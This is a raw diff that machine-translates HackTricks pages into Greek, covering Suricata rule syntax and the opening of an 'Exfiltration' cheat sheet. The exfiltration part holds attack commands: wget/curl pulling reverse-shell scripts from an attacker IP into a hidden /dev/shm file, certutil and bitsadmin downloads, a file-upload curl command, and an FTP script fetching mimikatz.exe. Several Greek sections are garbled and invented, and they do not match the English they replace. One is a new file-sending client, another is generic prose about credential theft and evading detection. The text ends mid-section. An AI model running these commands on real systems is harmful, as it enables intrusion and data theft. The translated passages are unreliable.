[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following:
|
||||
|
||||
* The **action**, determines what happens when the signature matches.
|
||||
* The **header**, defines the protocol, IP addresses, ports and direction of the rule.
|
||||
* The **rule options**, define the specifics of the rule.
|
||||
[Από τα έγγραφα:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Ένας κανόνας/υπογραφή αποτελείται από τα εξής:
|
||||
|
||||
* Η **ενέργεια**, καθορίζει τι συμβαίνει όταν ο κανόνας ταιριάζει.
|
||||
* Η **κεφαλίδα**, καθορίζει το πρωτόκολλο, τις διευθύνσεις IP, τις θύρες και την κατεύθυνση του κανόνα.
|
||||
* Οι **επιλογές του κανόνα**, καθορίζουν τις λεπτομέρειες του κανόνα.
|
||||
```bash
|
||||
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
|
||||
```
|
||||
#### **Οι έγκυρες ενέργειες είναι**
|
||||
|
||||
#### **Valid actions are**
|
||||
* alert - δημιουργία ειδοποίησης
|
||||
* pass - διακοπή περαιτέρω επιθεώρησης του πακέτου
|
||||
* **drop** - απόρριψη του πακέτου και δημιουργία ειδοποίησης
|
||||
* **reject** - αποστολή RST/ICMP ανεπιτυχούς απάντησης στον αποστολέα του αντίστοιχου πακέτου.
|
||||
* rejectsrc - ίδιο με το _reject_
|
||||
* rejectdst - αποστολή RST/ICMP πακέτου σφάλματος στον παραλήπτη του αντίστοιχου πακέτου.
|
||||
* rejectboth - αποστολή RST/ICMP πακέτων σφάλματος σε και τις δύο πλευρές της συνομιλίας.
|
||||
|
||||
* alert - generate an alert
|
||||
* pass - stop further inspection of the packet
|
||||
* **drop** - drop packet and generate alert
|
||||
* **reject** - send RST/ICMP unreachable error to the sender of the matching packet.
|
||||
* rejectsrc - same as just _reject_
|
||||
* rejectdst - send RST/ICMP error packet to the receiver of the matching packet.
|
||||
* rejectboth - send RST/ICMP error packets to both sides of the conversation.
|
||||
#### **Πρωτόκολλα**
|
||||
|
||||
#### **Protocols**
|
||||
|
||||
* tcp (for tcp-traffic)
|
||||
* tcp (για tcp-κίνηση)
|
||||
* udp
|
||||
* icmp
|
||||
* ip (ip stands for ‘all’ or ‘any’)
|
||||
* _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
|
||||
* ip (το ip σημαίνει 'όλα' ή 'οποιοδήποτε')
|
||||
* _πρωτόκολλα επιπέδου 7_: http, ftp, tls, smb, dns, ssh... (περισσότερα στα [**έγγραφα**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
|
||||
|
||||
#### Source and Destination Addresses
|
||||
#### Διευθύνσεις προέλευσης και προορισμού
|
||||
|
||||
It supports IP ranges, negations and a list of addresses:
|
||||
Υποστηρίζει εύρος διευθύνσεων IP, αρνήσεις και λίστες διευθύνσεων:
|
||||
|
||||
| Example | Meaning |
|
||||
| Παράδειγμα | Σημασία |
|
||||
| ------------------------------ | ---------------------------------------- |
|
||||
| ! 1.1.1.1 | Every IP address but 1.1.1.1 |
|
||||
| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 |
|
||||
| $HOME\_NET | Your setting of HOME\_NET in yaml |
|
||||
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET and not HOME\_NET |
|
||||
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 |
|
||||
| ! 1.1.1.1 | Κάθε διεύθυνση IP εκτός από την 1.1.1.1 |
|
||||
| !\[1.1.1.1, 1.1.1.2] | Κάθε διεύθυνση IP εκτός από την 1.1.1.1 και 1.1.1.2 |
|
||||
| $HOME\_NET | Η ρύθμισή σας για το HOME\_NET στο αρχείο yaml |
|
||||
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET και όχι HOME\_NET |
|
||||
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 εκτός από το 10.0.0.5 |
|
||||
|
||||
#### Source and Destination Ports
|
||||
#### Θύρες προέλευσης και προορισμού
|
||||
|
||||
It supports port ranges, negations and lists of ports
|
||||
Υποστηρίζει εύρος θυρών, αρνήσεις και λίστες θυρών
|
||||
|
||||
| Example | Meaning |
|
||||
| Παράδειγμα | Σημασία |
|
||||
| --------------- | -------------------------------------- |
|
||||
| any | any address |
|
||||
| \[80, 81, 82] | port 80, 81 and 82 |
|
||||
| \[80: 82] | Range from 80 till 82 |
|
||||
| \[1024: ] | From 1024 till the highest port-number |
|
||||
| !80 | Every port but 80 |
|
||||
| \[80:100,!99] | Range from 80 till 100 but 99 excluded |
|
||||
| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 |
|
||||
| any | οποιαδήποτε διεύθυνση |
|
||||
| \[80, 81, 82] | θύρα 80, 81 και 82 |
|
||||
| \[80: 82] | Εύρος από 80 έως 82 |
|
||||
| \[1024: ] | Από 1024 έως τον υψηλότερο αριθμό θύρας |
|
||||
| !80 | Κάθε θύρα εκτός από την 80 |
|
||||
| \[80:100,!99] | Εύρος από 80 έως 100 αλλά εξαιρούνται οι 99 |
|
||||
| \[1:80,!\[2,4]] | Εύρος από 1-80, εκτός θυρών 2 και 4 |
|
||||
|
||||
#### Direction
|
||||
|
||||
It's possible to indicate the direction of the communication rule being applied:
|
||||
#### Κατεύθυνση
|
||||
|
||||
Είναι δυνατόν να υποδείξετε την κατεύθυνση του κανόνα επικοινωνίας που εφαρμόζεται:
|
||||
```
|
||||
source -> destination
|
||||
source <> destination (both directions)
|
||||
```
|
||||
#### Λέξεις-κλειδιά
|
||||
|
||||
#### Keywords
|
||||
|
||||
There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more!
|
||||
|
||||
Υπάρχουν **εκατοντάδες επιλογές** διαθέσιμες στο Suricata για να αναζητήσετε το **συγκεκριμένο πακέτο** που ψάχνετε, εδώ θα αναφερθεί αν βρεθεί κάτι ενδιαφέρον. Ελέγξτε την [**τεκμηρίωση**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) για περισσότερες πληροφορίες!
|
||||
```bash
|
||||
# Meta Keywords
|
||||
msg: "description"; #Set a description to the rule
|
||||
|
@ -240,15 +277,14 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
|
|||
## Drop by port
|
||||
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,60 +1,53 @@
|
|||
# Exfiltration
|
||||
# Εξαγωγή
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
Βρείτε ευπάθειες που είναι πιο σημαντικές ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Commonly whitelisted domains to exfiltrate information
|
||||
## Συνήθως επιτρεπόμενοι τομείς για την εξαγωγή πληροφοριών
|
||||
|
||||
Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused
|
||||
Ελέγξτε το [https://lots-project.com/](https://lots-project.com/) για να βρείτε συνήθως επιτρεπόμενους τομείς που μπορούν να καταχραστούν
|
||||
|
||||
## Copy\&Paste Base64
|
||||
## Αντιγραφή\&Επικόλληση Base64
|
||||
|
||||
**Linux**
|
||||
|
||||
```bash
|
||||
base64 -w0 <file> #Encode file
|
||||
base64 -d file #Decode file
|
||||
```
|
||||
|
||||
**Windows**
|
||||
|
||||
```
|
||||
certutil -encode payload.dll payload.b64
|
||||
certutil -decode payload.b64 payload.dll
|
||||
```
|
||||
|
||||
## HTTP
|
||||
|
||||
**Linux**
|
||||
|
||||
```bash
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
||||
```
|
||||
|
||||
**Windows**
|
||||
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
||||
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
||||
|
@ -69,28 +62,32 @@ Start-BitsTransfer -Source $url -Destination $output
|
|||
#OR
|
||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
```
|
||||
|
||||
### Upload files
|
||||
### Μεταφόρτωση αρχείων
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Python module [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
|
||||
* [**SimpleHttpServer εκτύπωση GET και POST (επίσης headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Ενότητα Python [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
python3 -m pip install --user uploadserver
|
||||
python3 -m uploadserver
|
||||
# With basic auth:
|
||||
# With basic auth:
|
||||
# python3 -m uploadserver --basic-auth hello:world
|
||||
|
||||
# Send a file
|
||||
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
|
||||
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
|
||||
# With basic auth:
|
||||
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
|
||||
```
|
||||
### **Διακομιστής HTTPS**
|
||||
|
||||
### **HTTPS Server**
|
||||
Ένας διακομιστής HTTPS είναι ένας διακομιστής που χρησιμοποιεί το πρωτόκολλο HTTPS για την ασφαλή μεταφορά δεδομένων μέσω του Διαδικτύου. Το HTTPS χρησιμοποιεί το πρωτόκολλο SSL/TLS για την κρυπτογράφηση των δεδομένων και την εξασφάλιση της αυθεντικότητας του διακομιστή.
|
||||
|
||||
Ένας διακομιστής HTTPS μπορεί να χρησιμοποιηθεί για την αποστολή και λήψη δεδομένων μεταξύ πελατών και διακομιστή με ασφάλεια. Η χρήση του HTTPS είναι ιδιαίτερα σημαντική όταν απαιτείται η προστασία ευαίσθητων πληροφοριών, όπως προσωπικά δεδομένα ή πιστωτικές κάρτες.
|
||||
|
||||
Για να δημιουργήσετε έναν διακομιστή HTTPS, πρέπει να αποκτήσετε ένα πιστοποιητικό SSL/TLS από μια αξιόπιστη αρχή πιστοποίησης. Το πιστοποιητικό αυτό επιβεβαιώνει την αυθεντικότητα του διακομιστή και επιτρέπει την κρυπτογράφηση των δεδομένων που ανταλλάσσονται μεταξύ του πελάτη και του διακομιστή.
|
||||
|
||||
Με τη χρήση ενός διακομιστή HTTPS, μπορείτε να εξασφαλίσετε την απορρήτου των δεδομένων που μεταφέρονται μέσω του Διαδικτύου και να προστατεύσετε τους χρήστες σας από επιθέσεις όπως η παρακολούθηση της κίνησης δεδομένων ή η παραποίηση του διακομιστή.
|
||||
```python
|
||||
# from https://gist.github.com/dergachev/7028596
|
||||
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
|
||||
|
@ -122,34 +119,84 @@ httpd.serve_forever()
|
|||
### USING FLASK
|
||||
from flask import Flask, redirect, request
|
||||
from urllib.parse import quote
|
||||
app = Flask(__name__)
|
||||
@app.route('/')
|
||||
def root():
|
||||
print(request.get_json())
|
||||
return "OK"
|
||||
if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
app = Flask(__name__)
|
||||
@app.route('/')
|
||||
def root():
|
||||
print(request.get_json())
|
||||
return "OK"
|
||||
if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
###
|
||||
```
|
||||
|
||||
## FTP
|
||||
|
||||
### FTP server (python)
|
||||
### Διακομιστής FTP (python)
|
||||
|
||||
```python
|
||||
import socket
|
||||
import os
|
||||
|
||||
def send_file(file_path, host, port):
|
||||
# Ανοίξτε το αρχείο για ανάγνωση σε δυαδική μορφή
|
||||
with open(file_path, 'rb') as file:
|
||||
# Δημιουργήστε ένα νέο socket
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
# Συνδεθείτε στον FTP server
|
||||
s.connect((host, port))
|
||||
# Αποστολή του ονόματος του αρχείου
|
||||
s.send(os.path.basename(file_path).encode())
|
||||
# Αποστολή του περιεχομένου του αρχείου
|
||||
s.sendall(file.read())
|
||||
# Κλείστε τη σύνδεση
|
||||
s.close()
|
||||
|
||||
def main():
|
||||
# Ορίστε τον FTP server
|
||||
host = 'ftp.example.com'
|
||||
port = 21
|
||||
# Ορίστε το αρχείο που θέλετε να στείλετε
|
||||
file_path = '/path/to/file.txt'
|
||||
# Αποστολή του αρχείου
|
||||
send_file(file_path, host, port)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
|
||||
Αυτός ο κώδικας σε Python σας επιτρέπει να στείλετε ένα αρχείο σε έναν FTP server. Ανοίγει το αρχείο για ανάγνωση σε δυαδική μορφή και στέλνει το όνομα και το περιεχόμενο του αρχείου στον FTP server. Αυτός ο κώδικας μπορεί να χρησιμοποιηθεί για την εξαγωγή αρχείων από έναν υπολογιστή σε έναν απομακρυσμένο FTP server.
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
```
|
||||
### FTP διακομιστής (NodeJS)
|
||||
|
||||
### FTP server (NodeJS)
|
||||
Ο FTP διακομιστής (NodeJS) είναι ένας διακομιστής που χρησιμοποιεί το πρωτόκολλο FTP για τη μεταφορά αρχείων μεταξύ ενός πελάτη και ενός διακομιστή. Ο διακομιστής αυτός υλοποιείται σε NodeJS, μια πλατφόρμα ανάπτυξης εφαρμογών JavaScript που εκτελείται στην πλευρά του διακομιστή.
|
||||
|
||||
Ο FTP διακομιστής (NodeJS) παρέχει μια διεπαφή για τη διαχείριση των αρχείων και των φακέλων που αποθηκεύονται στον διακομιστή. Οι πελάτες μπορούν να συνδεθούν στον διακομιστή χρησιμοποιώντας έναν FTP πελάτη και να αναζητήσουν, να λάβουν ή να αποστείλουν αρχεία.
|
||||
|
||||
Ο FTP διακομιστής (NodeJS) μπορεί να χρησιμοποιηθεί για διάφορους σκοπούς, όπως η ανταλλαγή αρχείων μεταξύ χρηστών, η δημιουργία αντιγράφων ασφαλείας αρχείων ή η αποθήκευση αρχείων σε απομακρυσμένους διακομιστές.
|
||||
|
||||
Για να εκτελέσετε έναν FTP διακομιστή (NodeJS), πρέπει να εγκαταστήσετε το NodeJS στον διακομιστή σας και να δημιουργήσετε έναν κατάλογο για την αποθήκευση των αρχείων. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε τον κώδικα που παρέχεται για να δημιουργήσετε τον FTP διακομιστή και να τον ρυθμίσετε σύμφωνα με τις ανάγκες σας.
|
||||
|
||||
Αφού εκτελέσετε τον FTP διακομιστή (NodeJS), οι πελάτες μπορούν να συνδεθούν σε αυτόν χρησιμοποιώντας έναν FTP πελάτη και να ανταλλάξουν αρχεία με τον διακομιστή. Ο διακομιστής παρέχει επίσης δυνατότητες για τη διαχείριση των χρηστών και των δικαιωμάτων πρόσβασης στα αρχεία.
|
||||
|
||||
Ο FTP διακομιστής (NodeJS) είναι ένα ευέλικτο εργαλείο που μπορεί να χρησιμοποιηθεί για την αποτελεσματική μεταφορά αρχείων μεταξύ πελατών και διακομιστή. Με τη σωστή ρύθμιση και διαχείριση, μπορεί να παρέχει ασφαλή και αξιόπιστη ανταλλαγή αρχείων.
|
||||
```
|
||||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
```
|
||||
### Διακομιστής FTP (pure-ftp)
|
||||
|
||||
### FTP server (pure-ftp)
|
||||
Ο διακομιστής FTP (pure-ftp) είναι ένα πρωτόκολλο που χρησιμοποιείται για τη μεταφορά αρχείων μεταξύ ενός πελάτη και ενός διακομιστή. Μπορεί να χρησιμοποιηθεί και για την εξαγωγή δεδομένων από έναν διακομιστή.
|
||||
|
||||
Για να εξαγάγετε δεδομένα από έναν διακομιστή FTP (pure-ftp), μπορείτε να χρησιμοποιήσετε τις παρακάτω μεθόδους:
|
||||
|
||||
1. Εκτέλεση ενός απλού αιτήματος RETR για να κατεβάσετε ένα αρχείο από τον διακομιστή.
|
||||
2. Χρήση της μεθόδου LIST για να λάβετε μια λίστα με τα αρχεία που βρίσκονται στον διακομιστή.
|
||||
3. Χρήση της μεθόδου NLST για να λάβετε μια απλή λίστα με τα ονόματα των αρχείων που βρίσκονται στον διακομιστή.
|
||||
4. Χρήση της μεθόδου STOR για να αποστείλετε ένα αρχείο στον διακομιστή.
|
||||
|
||||
Αυτές οι μεθόδοι μπορούν να χρησιμοποιηθούν για να εξαγάγετε δεδομένα από έναν διακομιστή FTP (pure-ftp) και να τα μεταφέρετε σε έναν άλλο διακομιστή ή να τα αποθηκεύσετε σε έναν τοπικό υπολογιστή.
|
||||
```bash
|
||||
apt-get update && apt-get install pure-ftp
|
||||
```
|
||||
|
@ -167,9 +214,20 @@ mkdir -p /ftphome
|
|||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### **Πελάτης Windows**
|
||||
|
||||
### **Windows** client
|
||||
Ο πελάτης Windows αποτελεί ένα από τα πιο δημοφιλή περιβάλλοντα λειτουργίας για υπολογιστές. Είναι σημαντικό να γνωρίζουμε τις τεχνικές εξυπρέτησης που μπορούμε να χρησιμοποιήσουμε για να αποκτήσουμε πρόσβαση σε έναν πελάτη Windows και να εξαγάγουμε δεδομένα από αυτόν.
|
||||
|
||||
Οι τεχνικές εξυπρέτησης που μπορούμε να χρησιμοποιήσουμε περιλαμβάνουν:
|
||||
|
||||
- Εκμετάλλευση ευπάθειας του λειτουργικού συστήματος
|
||||
- Χρήση κακόβουλου λογισμικού
|
||||
- Κλοπή διαπιστευτηρίων
|
||||
- Χρήση κοινωνικής μηχανικής
|
||||
- Αξιοποίηση αδυναμιών στις ρυθμίσεις ασφαλείας
|
||||
- Εκμετάλλευση ευπάθειας εφαρμογών
|
||||
|
||||
Με τη χρήση αυτών των τεχνικών, μπορούμε να αποκτήσουμε πρόσβαση σε έναν πελάτη Windows και να εξαγάγουμε δεδομένα από αυτόν. Είναι σημαντικό να είμαστε προσεκτικοί και να λαμβάνουμε όλα τα απαραίτητα μέτρα προφύλαξης για να μην αποκαλυφθούμε κατά τη διάρκεια της εξυπρέτησης.
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
|
@ -180,10 +238,9 @@ echo GET mimikatz.exe >> ftp.txt
|
|||
echo bye >> ftp.txt
|
||||
ftp -n -v -s:ftp.txt
|
||||
```
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -191,34 +248,51 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
|
|||
|
||||
## SMB
|
||||
|
||||
Kali as server
|
||||
|
||||
Kali ως διακομιστής
|
||||
```bash
|
||||
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
|
||||
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
|
||||
Or create a smb share **using samba**:
|
||||
|
||||
Ή δημιουργήστε ένα κοινόχρηστο smb **χρησιμοποιώντας το samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
chmod 777 /tmp/smb
|
||||
#Add to the end of /etc/samba/smb.conf this:
|
||||
[public]
|
||||
comment = Samba on Ubuntu
|
||||
path = /tmp/smb
|
||||
read only = no
|
||||
browsable = yes
|
||||
guest ok = Yes
|
||||
comment = Samba on Ubuntu
|
||||
path = /tmp/smb
|
||||
read only = no
|
||||
browsable = yes
|
||||
guest ok = Yes
|
||||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
# Απομάκρυνση Πληροφοριών
|
||||
|
||||
Windows
|
||||
Η απομάκρυνση πληροφοριών αποτελεί μια σημαντική διαδικασία στον κόσμο της χάκερ. Αυτή η διαδικασία αναφέρεται στην εξαγωγή δεδομένων από έναν στόχο χωρίς την επίγνωση του χρήστη. Στην περίπτωση των επιθέσεων σε συστήματα Windows, υπάρχουν διάφορες τεχνικές που μπορούν να χρησιμοποιηθούν για την απομάκρυνση πληροφοριών.
|
||||
|
||||
## Τεχνικές Απομάκρυνσης Πληροφοριών σε Συστήματα Windows
|
||||
|
||||
Παρακάτω παρουσιάζονται μερικές από τις συνηθέστερες τεχνικές απομάκρυνσης πληροφοριών που μπορούν να χρησιμοποιηθούν σε συστήματα Windows:
|
||||
|
||||
### 1. Αποστολή Δεδομένων μέσω Ηλεκτρονικού Ταχυδρομείου
|
||||
|
||||
Μια από τις πιο απλές τεχνικές απομάκρυνσης πληροφοριών είναι η αποστολή των δεδομένων μέσω ηλεκτρονικού ταχυδρομείου. Ο χάκερ μπορεί να χρησιμοποιήσει έναν SMTP (Simple Mail Transfer Protocol) server για να στείλει τα δεδομένα σε έναν εξωτερικό λογαριασμό ηλεκτρονικού ταχυδρομείου.
|
||||
|
||||
### 2. Χρήση Εξωτερικών Υπηρεσιών Αποθήκευσης
|
||||
|
||||
Ο χάκερ μπορεί επίσης να χρησιμοποιήσει εξωτερικές υπηρεσίες αποθήκευσης, όπως το Dropbox ή το Google Drive, για να αποθηκεύσει τα δεδομένα που έχει αποκτήσει από τον στόχο. Αυτό του επιτρέπει να έχει πρόσβαση στα δεδομένα από οπουδήποτε και οποιαδήποτε συσκευή.
|
||||
|
||||
### 3. Χρήση Κρυπτογράφησης
|
||||
|
||||
Η κρυπτογράφηση είναι μια άλλη τεχνική που μπορεί να χρησιμοποιηθεί για την απομάκρυνση πληροφοριών. Ο χάκερ μπορεί να κρυπτογραφήσει τα δεδομένα πριν τα αποστείλει, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας.
|
||||
|
||||
## Συμπεράσματα
|
||||
|
||||
